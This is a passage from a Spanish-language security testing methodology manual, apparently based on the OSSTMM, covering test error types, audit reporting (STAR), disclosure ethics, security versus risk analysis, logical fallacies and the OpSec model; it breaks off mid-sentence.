El Trío
Esta metodología de prueba de seguridad tiene una base sólida que puede
parecer un poco complicada, pero en realidad es simple en la práctica. Está
diseñada como un diagrama de flujo; Sin embargo, a diferencia del diagrama de
flujo estándar, el flujo, representado por las flechas, puede ir hacia atrás, así
como hacia adelante. De esta manera, está más integrada con todos los
elementos de diseño y pruebas explicitando el principio y el final de cada una de
las pruebas efectuadas cuyos resultados se transfieren, a la auditoría tiene
mayor flexibilidad. El analista crea un camino único a través de la metodología
basada en el objetivo, el tipo de prueba, el tiempo asignado para la auditoría, y
los recursos aplicados a la prueba. Para una orquesta, el compositor escribe la
partitura para designar el orden y la duración de las notas, pero sólo el conductor
puede controlar la ejecución de la actuación. Esta metodología es como la
partitura, la designación de las pruebas necesarias, pero los controles de los
analistas el orden, la duración, así como la ejecución. La razón principal de que
requiera este nivel de flexibilidad en el OSSTMM se debe a que no existe una
metodología que pueda presumir con precisión las justificaciones de las
operaciones de puertas de enlace de canal en un blanco y su nivel adecuado de
seguridad. Más directamente, esta metodología no puede presumir de una mejor
la práctica, de llevar a cabo todas las pruebas y sus auditorías, puesto que la
mejor práctica se basa en una configuración específica de las operaciones. La
mejor práctica es mejor, sólo para algunos; generalmente el iniciador de la
práctica. Operaciones dictan cómo deben ofrecerse servicios y los servicios
dictan los requisitos para la seguridad operacional. Por lo tanto, una metodología
que se invoca de forma diferente para cada auditoría y por cada analista todavía
puede tener el mismo resultado final si el Analista completa la metodología. Por
esta razón, uno de los fundamentos de la OSSTMM es registrar precisamente lo
que no fue probado. Mediante la comparación de lo que se probó y la profundidad
de la prueba con otras pruebas, es posible medir la seguridad operativa (OpSec)
basándose en los resultados de la prueba. La aplicación de esta metodología
será clave, por tanto, cumplir con el objetivo que analista tenga datos suficientes
para responder a las tres preguntas siguientes que conforman el Trío, la
respuesta a OpSec necesita.
1. ¿Cómo funcionan las operaciones actuales? Los indicadores

derivados se pueden aplicar para determinar las áreas de un
problema o de un conjunto dentro un alcance. Las métricas en esta
metodología están diseñadas para mapear los problemas de
diferentes maneras, con el fin de mostrar si el problema, es un
problema general o es específico.
2. ¿Cómo funcionan de manera diferente a lo que la gestión piensa
que funciona? El acceso a las políticas o un fideicomiso (o incluso
Página 271 de 430

un riesgo) evaluación mapear de nuevo a las diferentes categorías

de las métricas. Las categorías proporcionan los valores actuales
del estado donde una comparación se puede hacer tanto con un
estado óptimo de acuerdo con las políticas y uno de acuerdo a las
amenazas evaluadas
3. ¿Cómo tienen que trabajar? Cuando las métricas no muestran
ningún hueco entre la prueba de seguridad de los valores óptimos
de evaluación de políticas o de confianza (o riesgo) sin embargo,
muestra que efectivamente existe un problema de protección.
Independientemente como se aplica de los controles en la política,
esto puede indicar claramente un problema. A menudo, sin ni
siquiera la cartografía de la política, una discrepancia entre la
práctica controla y la pérdida de la protección es simplemente
evidente.
¿Cómo funciona el trio y los cuatro procesos?
Una vez visto el complejo de los 4 procesos y vistas las tres cuestiones
fundamentales queda por exponer: como se han de combinar de forma efectiva
para lograr descubrir aquellos flancos, que presentan nuestros sistemas en
cuanto a seguridad se refiere.
1. Recopilar de forma pasiva los datos de las operaciones normales y

comprender su flujo de trabajo y rangos de valores normales y habituales.
2. Pruebe activamente operaciones introduciendo variaciones sobre
elementos que afectan a los valores normales y habituales más allá de la
línea de base.
3. Analizar los datos recibidos directamente de las operaciones probadas.
4. Analizar los datos indirectos de los recursos y los operadores (es decir,
los trabajadores, programas).
5. Correlacionar y reconciliar vía análisis los datos obtenidos en (paso 3)
y los resultados (paso 4) para determinar la normalidad y calidad de los
procesos de seguridad de funcionamiento.
6. Determinar y reconciliar errores.
7. Deducir métricas de ambas operaciones normales y anormales.
8. Correlacionar y reconciliar las diferencias entre las operaciones normal
y anormales (2 pasos 1 y) para determinar el nivel óptimo de protección y
control que mejor ser implementado.
9. Mapa el estado óptimo de las operaciones (paso 8) para procesos
(paso 5).
10. Crear un análisis de las deficiencias para determinar qué mejoras son
necesarias para los procesos que rigen la protección y los controles
necesarios (etapa 5) para lograr un óptimo estado de funcionamiento
(paso 8) a partir de la actual.
Página 272 de 430

Manejo de Errores y Tipos de Apreciación.

La veracidad en una prueba de seguridad no está en la suma de sus errores,
sino más bien en la contabilización de sus errores. Ya que los errores pueden no
ser culpa del analista, la comprensión de cómo y dónde pueden existir errores
dentro de una prueba es mucho más razonable que esperar que un analista logre
probar sin error. Por otra parte, es el analista quien intenta, lo que no debería ser
posible, dado que es más que probable que se produzcan errores; Por lo tanto,
lo que denota errores como algo negativo descarta la práctica de pruebas
exhaustivas. De ahí la necesidad de prestar atención tanto al Manejo de Errores
auténticos como de Apreciaciones incorrectas.
Tipo de Error Descripción del Error
Algo determinado como verdadera es falso. La respuesta de destino
indica un estado particular como verdad, aunque en realidad el estado
no es cierto. Un falso positivo se produce a menudo cuando las
Falso Positivo
expectativas del analista o suposiciones de lo que indica un estado
particular no se sostienen a las condiciones del mundo real que son
raramente blanco y negro.
Algo determinado como falso es en realidad verdadero.
La respuesta de destino indica un estado particular en que no es cierto,
aunque en realidad el estado es cierto. Un falso negativo se produce a
menudo cuando las expectativas del analista o suposiciones acerca de
la meta no se sostienen a las condiciones del mundo real, las
Falso Negativo
herramientas pueden no ser las adecuadas para la prueba, las
herramientas pueden ser mal utilizados, o mal interpretados sus
resultados o el analista carece de experiencia. Un falso negativo
puede ser peligroso ya que es un mal diagnóstico de un estado
seguro cuando no existe.
Página 273 de 430

Algo responde verdadero a todo, incluso si es falso.

La respuesta de destino indica un estado particular como verdadero, sin
embargo, el objetivo está diseñado para responder a cualquier causa
Gris positivo con este estado sea verdad o no. Este tipo de seguridad por
oscuridad puede ser peligroso, ya que la ilusión no se puede
garantizar que funcione de la misma manera para todos los
estímulos
Algo responde falsa a todo, incluso si es cierto.
La respuesta de destino indica un estado particular en lo que no es
cierto, sin embargo, el objetivo está diseñado para responder a
Gris negativo cualquier causa con este estado si sea verdad o no. Este tipo de
seguridad por oscuridad puede ser peligroso, ya que la ilusión no
se puede garantizar que funcione de la misma para todos los
estímulos
Algo responde verdadero o falso, pero el estado real se revela como
desconocido.
La respuesta de destino indica un estado particular como verdadera o
falsa, aunque en realidad el estado no puede ser conocido. Un espectro
a menudo se produce cuando el analista recibe una respuesta de un
estímulo externo que se percibe como del objetivo. Un espectro puede
Espectro Fantasma
ser intencional, una anomalía desde dentro del canal, o el resultado de
descuido o falta de experiencia del analista. Uno de los problemas más
comunes se da en el proceso de eco dado que el supuesto de que la
respuesta es el resultado de la prueba. causa y pruebas de efecto en el
mundo real no puede lograr resultados fiables ya que ni la causa ni el
efecto se pueden aislar correctamente
Algo responde dependiendo verdadero o falso cuando se le preguntó.
falsa, pero sólo durante un tiempo determinado, que puede o no puede
seguir un patrón. Si la respuesta no puede ser verificada en un momento
cuando los cambios de estado, que pueden impedir que el analista de
Indiscreción comprender el otro estado. Un analista también puede determinar que
esto es una anomalía o un problema con equipos de pruebas,
especialmente si el analista no pudo calibrar el equipo antes de la
prueba o llevar a cabo la logística y controles apropiados. Una
indiscreción puede ser peligroso ya que puede conducir a una
falsa presentación de informes del estado de la seguridad.
La respuesta se pierde o se confunde en el ruido de la señal.
La respuesta objetivo no puede indicar con precisión un estado
particular como verdadera o falsa debido a un alto ruido de señal de
relación. Similar a la idea de perder una linterna haz de la luz del sol, el
Error Entropía analista no puede determinar adecuadamente estado hasta que se
reduce el ruido. Este tipo de error con el medio ambiente causado
raramente existe en un laboratorio, sin embargo, se trata de un
comportamiento normal en un entorno no controlado. La entropía
puede ser peligrosa, si sus efectos no pueden ser contrarrestados.
La respuesta cambia dependiendo de cómo y dónde se hace la
pregunta.
falsa, aunque en realidad el estado depende de las variables en gran
Falsificación parte desconocidos debido a orientar sesgo. Este tipo de seguridad
por oscuridad puede ser peligrosa, como el sesgo se desplazará
cuando los exámenes provienen de diferentes vectores o emplear
diferentes técnicas. También es probable que el objetivo no es
consciente de la parcialidad.
La respuesta no puede representar a la totalidad porque el alcance ha
sido alterado.
Error Tamaño
El objetivo es una muestra sesgada de un sistema más grande o un
Muestra Prueba
mayor número de estados posibles. Este error se produce normalmente
cuando una autoridad influye en el estado de funcionamiento del
Página 274 de 430

objetivo para la duración de la prueba. Esto puede ser a través de las

limitaciones de tiempo específicos en la prueba o un sesgo de probar
sólo componentes designado como “importante” dentro de un sistema.
Este tipo de error provocará una distorsión de la seguridad
operacional general
La respuesta cambia en función de las limitaciones de las herramientas
Error por utilizadas.
Restricciones de Las limitaciones de los sentidos humanos o capacidades del equipo
algún tipo o clase o indican un estado particular como verdadera o falsa, aunque el estado
por imperativos no actual es desconocido. Este error no es causado por la falta de criterio
previstos o decisiones equivocadas equipo es más bien una falta de
reconocimiento de las restricciones o limitaciones impuestas
La respuesta se presume que es de un estado u otro, aunque no se
hizo ninguna prueba.
El analista no hacer una prueba en particular o tiene una tendencia a
ignorar un resultado particular debido a un presunto resultado. Esto es
a menudo un cegamiento de la experiencia o un sesgo de confirmación.
La prueba puede repetirse muchas veces, o las herramientas y el
equipo puede ser modificado para tener el resultado deseado. Como su
Error propagación
nombre indica, un proceso que no recibe retroalimentación donde los
errores siguen siendo desconocidos o ignorados se propagará más
errores como la prueba continúa. los errores de propagación pueden
ser peligrosas debido a que los errores propagados desde primera hora
de la prueba pueden no ser visibles durante un análisis de las
conclusiones. Además, se requiere un estudio de todo el proceso
de pruebas para descubrir el error de propagación
La respuesta cambia dependiendo de la habilidad del analista.
Un error causado por la falta de capacidad, experiencia o comprensión
no es un sesgo y siempre es un factor que está presente,
independientemente de la metodología o técnica. Mientras un analista
experimentado puede hacer que los errores de propagación, uno sin
Error Humano experiencia es más probable que no reconoce el error humano, algo
que la experiencia enseña a reconocer y compensar.
Estadísticamente, hay una relación indirecta entre la experiencia y
el error humano. Cuanta menos experiencia un analista tiene,
mayor es la cantidad de error humano que una auditoría puede
contener.
Un analista puede realizar un seguimiento de la cantidad y la gravedad de los

errores de operación de la prueba. Una autoevaluación simple puede crear un
margen de errores de operación causados durante la prueba que el analista
puede usar para enmarcar la exhaustividad de la auditoría actual u otras
auditorías de sistemas similares.
Puesto que se trata de una autoevaluación, tendrán tendencia a ser sesgada.
El analista debe tener gran cuidado para que sea tan irrefutable como sea
posible. Como una forma de garantía de calidad de la prueba y el proceso de
prueba. Aunque algunos pueden tratar de descartar los errores de prueba que
estaban generados por el propio analista, el seguimiento de todos los errores
sólo puede mejorar las pruebas futuras y no es algo que hay que ocultar. Los
errores sucederán y no son más que el intento del analista de interactuar con un
sistema siempre cambiante.
Página 275 de 430

Independientemente del número y la gravedad de los errores, el seguimiento de

los errores de prueba servirá como un registro de la dificultad y complejidad de
la auditoría y la competencia del analista para deducir los errores.
Un registro de errores de prueba del alcance también ayudará a resumir el

entorno de una manera simplista. Es una reducción directa del Resumen
Ejecutivo que a menudo describe la opinión del Analista sobre el estado de
seguridad en el que pocos o ningún error mostrará un objetivo y un ambiente
bastante estáticos. Muchos errores muestran un ambiente caótico y uno que
puede carecer de controles para gestionar el cambio o la pérdida.
En general, los registros de error de prueba son útiles para comprender la
complejidad de la auditoría y el control de cambios entre auditorías de intervalos
regulares.
Resultados de la prueba.
Los resultados de las pruebas suelen ir acompañados de soluciones
recomendadas o de ofertas de consultoría, ninguna de las cuales se requiere en
una auditoría OSSTMM. Las soluciones recomendadas pueden proporcionarse
como un valor agregado a una prueba de seguridad, pero no se consideran
obligatorias. A menudo no hay soluciones adecuadas basadas en la visión
limitada que un analista tiene del entorno del cliente. Por lo tanto, las soluciones
no son necesarias como parte de una auditoría OSSTMM.
Frecuentemente, una prueba superará los límites de un control de seguridad.
Dentro de un compromiso, el Analista siempre debe reportar el estado actual de
la seguridad, cualquier limitación dentro de ese estado actual y cualquiera de los
procesos que causaron esas limitaciones de los controles y protecciones
aplicados. Para medir tanto la rigurosidad de la prueba como la seguridad del
objetivo, el uso de esta metodología debe concluir con el Informe de Auditoría de
Pruebas de Seguridad (STAR) disponible en este manual o en el sitio web de
ISECOM. STAR requiere la siguiente información:
1. Fecha y hora de la prueba.
2. Duración de la prueba.
3. Nombres de los analistas responsables.
4. Tipo de prueba.
5. Alcance de la prueba.
6. Índice (método de enumeración objetivo).
7. Canal de prueba.
8. Vector de prueba.
9. Métrica de superficie de ataque.
Página 276 de 430

10. ¿Qué pruebas se han completado, no completado o

completado parcialmente, y en qué medida?
11. Cualquier cuestión relativa a la prueba y la validez de los
resultados.
12. Cualquier proceso que influya en las limitaciones de seguridad.
13. Cualquier proceso desconocido o anomalía.
El uso exitoso del OSSTMM muestra una medición real de la seguridad y de los
controles aplicados. La falsa presentación de los resultados en informes puede
conducir a una verificación fraudulenta de los controles de seguridad y un nivel
de seguridad inexacto. Para ello, el analista debe aceptar responsabilidad y
responsabilidad limitada por informes inexactos.
Aspectos legales y éticos del análisis de Seguridad Contratos Modelo
Condiciones generales que deben reflejarse antes iniciarse el análisis.
Divulgación Durante una prueba de seguridad, la aparición de limitaciones de
seguridad previamente desconocidas o no publicitadas puede salir a la luz. Lo
que un analista hace con estos hallazgos debe quedar sujeto a las regulaciones
legales de la zona y país donde se está realizando el trabajo.
Derechos de Divulgación Lo que sí tiene que hacer es asegurarse de que su
acceso y uso del producto o solución no implica un Contrato de Licencia de
Usuario Final (EULA) que le niega el derecho a reclamar para las siguientes
acciones anunciar o distribuir cualquier vulnerabilidad descubierta.
Si lo hizo y usted o el cliente aceptó este contrato, entonces no se puede
revelar a nadie, tal vez incluso el fabricante, sin repercusiones legales
potenciales.
Además, si usted trabaja para la empresa que fabrica ese producto o es un
cliente legal de ellos, entonces usted puede no debe de divulgar legalmente
cualquier hallazgo de tipo. Además, sus derechos en cualquier caso pueden ser
impugnados de acuerdo con el proceso de la ley en su región en lugar de
precedentes legales existentes.
Responsabilidades. Sin embargo, en esos casos no se aplican, entonces
efectivamente poseen esa vulnerabilidad y cuanto antes lo hagas público, más
derechos tienes como descubridor de la misma. En muchos países, los procesos
y la información pueden ser protegidos por la ley y, a menudo, el proceso legal
requiere la publicación o la presentación legal de los mismos. Si su divulgación
no puede causar daño FÍSICO (como gritar el fuego en un cine lleno de gente),
es suyo y no hay necesidad de una postura legal que lo refrende cuando tiene
razón. Sin embargo, para ser más seguro, también debe promover, con la
vulnerabilidad descrita, los controles que se pueden aplicar para solucionar el
problema.
Por ejemplo, si se trata de un problema con la forma en que uno se autentica con
una solución, sugiera un esquema de autenticación alternativo y cómo se puede
Página 277 de 430
integrar con éxito. No es necesario esperar a que el fabricante publique una

corrección o una actualización para que la gente solucione el problema. Sin
embargo, si usted elige trabajar dentro del contexto de notificar al fabricante,
usted necesitará darles bastante tiempo de tratar el problema antes de hacerlo
público. Hay un argumento válido de que la vulnerabilidad puede ser ya conocida
en los círculos criminales y necesita atención inmediata. Por lo tanto, si usted
decide publicar sin la ayuda del fabricante, tenga en cuenta que la inclusión de
una corrección también mostrará legalmente que tenía buenas intenciones y
gran parte del sistema legal se centra en la intención implícita.
Su elección depende de si los juicios frívolos son aceptados o prevalentes en su
región. Recuerde, no es usted el analista que está obligado a hacer las pruebas
de garantía de calidad para el fabricante, por lo tanto, usted no les debe ninguna
información del trabajo que ha hecho, incluso si incluye su producto.
La revelación completa es útil siempre y cuando no pueda causar daño físico o
humano. Además, los consumidores no deberían tener que esperar a que las
actualizaciones del fabricante para que sus productos sean seguros. Si el
producto no se vende como una solución específica de seguridad, entonces es
a los consumidores a quien les compete hacerla segura o no utilizarla.
Si se vende como segura y esto se verifica entonces es el fabricante quien está
obligado a arreglarlo, sin embargo, el consumidor no puede querer esperar hasta
que el fabricante puede hacerlo. La divulgación completa permite esta elección.
Análisis de seguridad
El análisis de seguridad aquí se refiere a la habilidad para convertir información
en inteligencia de seguridad. Esto requiere entender más que sólo la información,
pero también de dónde proviene, cómo y cuándo se recopiló y las limitaciones
del proceso de recolección.
La parte final del proceso de análisis es crear inteligencia accionable, información
derivada del hecho que se puede utilizar para tomar decisiones. Esta es la clara
distinción entre seguridad y análisis de riesgos. En el análisis de seguridad, se
producen hechos incluso si ese hecho indica que algo no se puede saber de la
información proporcionada.
En el análisis de riesgo, especulan y derivan opiniones basadas en información.
Análisis de riesgo puede utilizar análisis de seguridad para llegar a mejores y
más precisas respuestas sin embargo el análisis de seguridad no puede utilizar
el análisis de riesgos para mejorar la precisión. Por esta razón, recomendamos
el análisis de confianza.
La diferencia fundamental entre hacer un análisis de riesgo frente a un análisis
de seguridad es que en el análisis de seguridad nunca se analiza la amenaza.
Esto se debe a que suponiendo que saben qué amenazas existen, cuándo
pueden afectar, cómo vendrán y dónde irán, es algo reservado para el análisis
de riesgo.
Página 278 de 430

En el análisis de seguridad, se estudia y se mide la superficie de ataque de y

alrededor de un objetivo.
Esto le permitirá entonces entender donde las amenazas, cualquier amenaza,
puede atacar si atacan. Por ejemplo, considere una pared larga y alta. El análisis
de riesgo considerará lo que puede pasar a través de la pared, pero el análisis
de seguridad, se centrará en dónde están las grietas, si la pared es sólida y si la
pared es gruesa o lo suficientemente alta como para impedir que acceda al otro
lado y llegue y responda. el ataque. Un análisis de seguridad también le permitirá
asegurar que los controles correctos existen, trabajan de la manera que
deberían, y cubren adecuadamente los puntos interactivos de los diversos
vectores y canales accesibles.
Pensamiento crítico de la seguridad
El pensamiento crítico de la seguridad según lo utilizado aquí, es un término para
la práctica de usar lógica y los hechos para formar una idea sobre la seguridad.
Esa idea puede ser una respuesta, una conclusión o una caracterización de algo
o alguien para que las pruebas de verificación puedan estar bien definidas. Como
respuesta o conclusión, el pensamiento crítico de seguridad proporcionará
aquello que tiene más sentido.
Como una caracterización, le mostrará lo que necesita verificar, de acuerdo a lo
que necesita verificar, de acuerdo a qué vector, cómo y cuáles serán los
objetivos. También le ayudará a analizar diferentes opiniones o puntos de vista
más allá de la seguridad misma a la interconexión que la seguridad hace con las
personas, los lugares, los procesos y el dinero.
Le ayudará a abordar conclusiones contradictorias y explorar las consecuencias
alternativas. Así que incluso si el modelo de pensamiento crítico de seguridad no
puede proporcionar una respuesta, debería decirle qué hechos siguen sin
aclararse y como recrearlos.
El proceso de pensamiento crítico de seguridad depende de que el analista
pueda discernir afirmaciones verdaderas o al menos reconocer el grado de
posible falsedad o propiedades dinámicas en un enunciado.
Una forma de hacerlo es reconocer la cantidad de confianza que puede tener en
un hecho a través del uso de métricas de confianza. Otra forma es poder
deconstruir una afirmación, separando argumentos falaces. En la práctica, un
analista tendrá que hacer ambas cosas. El analista necesitará tener una buena
comprensión de lo que está siendo analizado y una buena comprensión de las
falacias lógicas, usadas para hacer calificadores, declaraciones basadas en
conceptos falaces, usualmente en forma de axiomas o mejores prácticas.
La técnica de análisis de los seis pasos
Lamentablemente, el mundo no es prescriptivo. No todas las preguntas tienen
una respuesta correcta. La corrección de una respuesta depende de muchas
cosas incluyendo, lo más importante, cómo se pregunta.
Página 279 de 430

Este es un problema que afecta a todas las industrias, pero ninguna tan
obviamente como la seguridad, por lo que el pensamiento de seguridad crítica
es tan importante.
Como técnica de análisis se puede reducir a 6 pasos simples para determinar
los resultados fácticos con un alto nivel de confianza para la corrección, incluso
cuando las soluciones no son lineales como cuando no hay conexión desde el
punto A al punto B.
Por lo tanto, la capacidad de validar las fuentes y La confianza de la medida es
crucial para hacer la inteligencia accionable apropiada fuera de pruebas. En
estos pasos, "objetivo" se refiere a lo que esté analizando en la preparación de
una prueba, ya se trate de personas, computadoras, edificios o procesos.
Los 6 pasos en cuestión son los siguientes:
1. Construir su conocimiento a partir varias fuentes evitando al mismo
tiempo la información comercialmente sesgada y especulativa.
2. Determinar el nivel global de experiencia para el tipo de objetivo y la
cantidad de información posiblemente conocida al respecto.
3. Determinar cualquier sesgo o motivos ocultos en las fuentes de
información.
4. Traducir jerga de fuentes de información a palabras similares o
conocidas para la comparación porque lo que puede sonar nuevo o
complicado, puede ser sólo un truco para diferenciar algo común.
5. Asegúrese de que el equipo de prueba ha sido calibrado correctamente
y el ambiente de prueba verificado, para asegurar que los resultados, no
están contaminados por la prueba misma.
6. Asegurar que el estado de traducción de las herramientas o de los
procesos de prueba ha sido tan alterado como sea posible para que los
resultados no provengan de las fuentes indirectas en un proceso o el pre
análisis de algunas herramientas.
Lo que es más importante entender aquí es cuando se hace una caracterización
no se preocupe, por estar en lo correcto. Es más importante tener razón sobre
estar equivocado o estar en lo correcto, lo que significa que se realizaron las
pruebas correctas para verificar la caracterización.
Entonces, si la caracterización es errónea, por lo menos sabemos con certeza
que está mal y puede volver a caracterizar. Así es como funciona el método
científico. No se trata de creer o confiar en su experiencia, no importa cuán
grande, pero en conocer los hechos que podemos construir.
Página 280 de 430

Falacias como calificadoras.

Un problema adicional de la humanización de la prueba es que se aproxima más
a una forma de arte en lugar de tratarse como una ciencia que dado que
introduce todo tipo de nuevos errores.
Entender nuestras propias limitaciones como seres humanos y cómo pensamos
influye en cómo la seguridad puede ser percibida y definida. Esto lleva a muchos
profesionales de la seguridad a ofrecer calificativos para lo que no entienden o
no pueden ofrecer.
La mayoría de las veces a pesar de que sólo se repiten como axiomas, sin más
reflexión, finalmente aceptado como verdades de seguridad. Esto daña aún más
nuestra capacidad de proporcionar una seguridad adecuada, porque nuestro
análisis se ve pervertido por frases hechas y las mejores prácticas que pueden
no tener ninguna base de hecho ahora o nunca.
Por ejemplo, algunos axiomas comunes todavía en uso parecerán mucho menos
como reglas de oro y más como excusas cuando están puestos a la luz de la
razón crítica de la seguridad. Estos axiomas son tan comunes porque hay una
incapacidad general para pensar críticamente, sobre la seguridad o separarla del
riesgo como concepto.
La seguridad no se trata de riesgo. Se trata de la protección y los controles. El
riesgo es sobre el riesgo. El riesgo es especulado, inventado, derivado y
correlacionado.
El riesgo también es subjetivo. La seguridad no debe ser subjetiva nunca para
entender mejor cómo estos calificativos que manchan nuestra capacidad de
hacer un buen análisis de seguridad, podemos examinar las falacias en los
calificadores comunes.
1. No hay tal cosa como el 100% seguro. La sentencia no proporciona
condiciones tales como el tiempo y la métrica para la cual se
pueden usar porcentajes como escala. Como una declaración de
riesgo, podría ser cierto - "No hay tal cosa como estar siempre
100% libre de riesgo." Porque bajo la definición de riesgo, incluso
nuestros propios cuerpos están sujetos a tiempo y lesiones auto
infligidas. Sin embargo, como una declaración de seguridad puede
tener demasiadas excepciones para ser verdad.
2. Incluso si usted está seguro, si un atacante quiere un objetivo y es
lo bastante dañino para obtener lo que busca. La declaración no
proporciona la condición de tiempo, para cualquier atacante
humano sería finito, e incluye una forma de equivocación falacia
que califica El deseo del atacante. Por lo tanto, si ningún atacante
ha entrado entonces aparentemente no sería lo suficiente dañino
para lograrlo. Además, la declaración hace un uso de la frase
"entrar" demasiado ampliamente para que la idea esté ganando
entrada, pero podría aplicarse más a cualquier número de
potenciales ataques dañinos.
Página 281 de 430

3. No hay seguridad perfecta. La afirmación no proporciona la

condición de tiempo que implica que el axioma significa "siempre"
que es en sí mismo un absoluto y difícil de probar. Esta breve
declaración también cae en las categorías de dos falacias lógicas,
la falacia del Nirvana y la falacia de la Solución Perfecta. En la
falacia del Nirvana, estamos equivocados al rechazar algo porque
no puede ser perfecto. Sin embargo, puede ser lo suficientemente
bueno para las necesidades de uno. En la falacia de la solución
perfecta, el argumento supone que existe una solución perfecta.
Esta suposición es fácil de argumentar en términos de productos
para aquellos que sólo entienden conceptos de seguridad en
términos de productos. En realidad, "perfecto" es un concepto
subjetivo y lo que no puede ser perfecto para una persona puede
ser perfecto para otro. En el contexto de este manual, "perfecto"
significa una ecuación perfectamente equilibrada al calcular la
superficie de ataque que consiste en OpSec y Limitaciones contra
Controles.
4. La seguridad es un proceso no un producto. Si bien esta
declaración tiene por objeto informar a los que piensan en la
seguridad en términos de productos, este eslogan en realidad
utiliza las falacias de Falso Dilema y Presunción para persuadir.
Como un falso dilema, afirma que hay sólo dos opciones, un
producto y un proceso y por lo tanto la seguridad debe ser uno u
otro. Como Presunción, la conclusión de la declaración ya se
presume como un proceso que es el medio para la seguridad.
Juntas, estas falacias no permiten que los productos y procesos se
combinen en la formación de la seguridad ni tampoco permiten otra
cosa totalmente diferente. En realidad, la definición pública de
seguridad está mal definida y no es realmente alcanzable, que es
la razón probable de todos estos axiomas en primer lugar. Esto
deja espacio para muchas interpretaciones de lo que puede ser la
seguridad y la razón principal por la cual el analista debe
comprometerse a una definición de seguridad alcanzable y
mensurable. Afirmar entonces que la seguridad es una cosa u otra
es falsa, especialmente cuando la seguridad misma no está
definida y se presta a interpretaciones de diccionario estándar.
También es por eso que este manual define claramente la
seguridad como algo medible.
Se requiere que un analista aplique habilidades de pensamiento crítico de
seguridad a la información tal como se proporciona, así como a las declaraciones
que se hacen sobre la información analizada para formar inteligencia factual. La
inteligencia creada de tal manera proporcionará métricas precisas e imparciales,
así como una clara comprensión de cómo la seguridad es deficiente sin la
necesidad de calificadores.
Página 282 de 430

Reconocer el modelo OpSec

Hay dos problemas con el análisis de seguridad en el uso práctico en las
operaciones. La primera es que la tecnología a menudo está muy por delante de
la capacidad de cada analista para entender cómo funciona todo, si este know-
how es incluso posible obtener bajo el actual estado de caja cerrada de la
mayoría de los productos de tecnología comercial.
El segundo problema es que, irónicamente, la deconstrucción de cómo funciona
algo, incluyendo los procesos de negocio, puede ser ilegal para proteger el riesgo
financiero y la privacidad del fabricante del comprador, aunque como usuario del
producto, el comprador puede realmente necesitar
Esa información para protegerse de las amenazas reales que probablemente no
son sus clientes. Sin embargo, incluso en los casos en que una tecnología o
proceso no puede analizarse directamente, el producto puede analizarse dentro
del entorno con el que interactúa.
Para cada vector y canal que se analiza, el analista pondrá una superposición
del modelo OpSec sobre los objetivos. Aplicar el modelo OpSec es simplemente
contar los controles para cada punto interactivo, así como el descubrimiento de
la oportunidad en forma de Visibilidad. Cuando un objetivo es desconocido como
un cuadro negro que no se puede abrir, el analista debe abordar los controles
sobre las interacciones del sistema en su entorno. El proceso se verá así:
1. ¿Qué es visible en el ámbito de aplicación? ¿Cuál es el valor posible que se
conoce? ¿Qué objetivos se pueden determinar?
2. ¿Cuáles son los puntos de acceso interactivos a esos objetivos y de qué vector
o canal?
3. ¿Cuáles son los Fideicomisos dentro del alcance y sobre qué vector o canal?
4. ¿Cuáles son los controles para esos Accesos y Fideicomisos?
5. ¿Los controles están completos o tienen limitaciones?
Esto le dirá el tamaño de la superficie de ataque y qué puntos interactivos están
abiertos sin controles para gobernarlos.
Buscar coincidencia de patrones como un signo de errores.
Si empieza por buscar exactamente lo que busca, entonces sólo puede encontrar
lo que espera encontrar.
Esto es adecuado cuando se busca calcetines a juego, pero no tan bueno
cuando se mira el cuadro grande de una superficie de ataque. Es el mayor
problema conocido como la correspondencia de patrones, el rasgo humano de
saltarse los pasos, a veces sin saberlo, que se consideran innecesarios debido
a un resultado "obvio".
También hace que la gente vea la causa y el efecto donde no puede haber
ninguno. Es un punto ciego que los analistas desarrollarán después de años de
Página 283 de 430

hacer tareas iniciales, básicas o redundantes. Estas tareas se hacen más

eficientes a través de atajos que afectan la calidad de las pruebas de verificación
y, en última instancia, el análisis.
Para la inteligencia accionable, un resultado es tan bueno como los métodos
utilizados para obtenerlos. No saber cómo obtuvo un resultado en particular
limitará severamente la acción que puede tomar para solucionarlo. Cuando un
analista utiliza coincidencia de patrones para omitir pasos, no se puede conocer
correctamente el método.
Sin embargo, el deseo de "cortar la caza" para llegar a la carne de un problema,
mientras que la presunción de un estado que es realmente desconocido, es un
problema en muchas áreas de la ciencia.
La seguridad no es una excepción. Por lo tanto, un analista debe reconocer
cuando las pruebas se han saltado o los datos falsificados para proporcionar
resultados no verificados o que no pueden repetirse obteniendo el mismo
resultado una y otra vez, incluso bajo condiciones idénticas.
Para detectar la coincidencia de patrones, examine los métodos de prueba y los
datos de resultado para lo siguiente:
1. Pruebas con amenazas específicas, en lugar de una interacción
completa, con la superficie de ataque.
2. La falta de detalles sobre los procesos resultantes detrás de las
interacciones con el objetivo.
3. Poca o ninguna información acerca de los controles para varios objetivos.
4. Sólo algunas de las metas se reportan para ciertas pruebas y las que
tienen resultados completamente negativos.
5. Objetivos no probados por razones anecdóticas (notas donde una
persona ha dicho que no hay nada allí para probar o se ha asegurado).
6. Pruebas de objetivos que obviamente no se han asegurado
Caracterizar los resultados.
El método científico no es una lista de verificación. Es un proceso que permite
inteligencia e imaginación. Se hace una hipótesis y luego se recopilan datos
mediante pruebas y observaciones para evaluar esa hipótesis. En una prueba
de seguridad, una hipótesis se hace esencialmente siempre que una verificación
se hace frente a un punto interactivo directo o indirecto en el alcance. El analista
tiene los datos empíricos de esas pruebas y debe considerar si las pruebas
realmente verificaron la hipótesis. ¿Se hicieron las pruebas correctas? ¿Se
hicieron suficientes pruebas? ¿Se probaron los canales o vectores adecuados?
¿Se crearon nuevas interacciones que también fueron probadas? Para ello,
caracterizamos los resultados.
Página 284 de 430

Caracterizar una prueba de seguridad usando el método científico, es descubrir

las propiedades del alcance, para asegurar que las pruebas correctas fueron
hechas para ello.
El probador hace una hipótesis sobre la interactividad de un punto en la
superficie de ataque. La prueba devolverá que el punto es interactivo y agrega a
la superficie de ataque o no si todavía agrega a la superficie de ataque, controla
en su lugar, cualquier limitación en esos controles, cualquier limitación en la
seguridad definida y cualquier anomalía.
En este punto, el analista puede estar equivocado acerca de la función del
proceso en funcionamiento, sin embargo, el analista puede no estar equivocado
en que las pruebas se deben utilizar para verificar lo que la función es en
realidad. Es por ello que tanto el conocimiento del proceso como la imaginación
creativa de la interacción indirecta son necesarios
Por ejemplo, el analista puede caracterizar un proceso incluyendo la interacción
entre un visitante y la red a través de una tarjeta de acceso. Así, mientras que
este visitante no tiene las credenciales para acceder a la red, ya que debe
obtener el permiso a través del lector de tarjetas, dado que este está bajo el
control del sistema informático, que el visitante no pueda acceder a la red solo
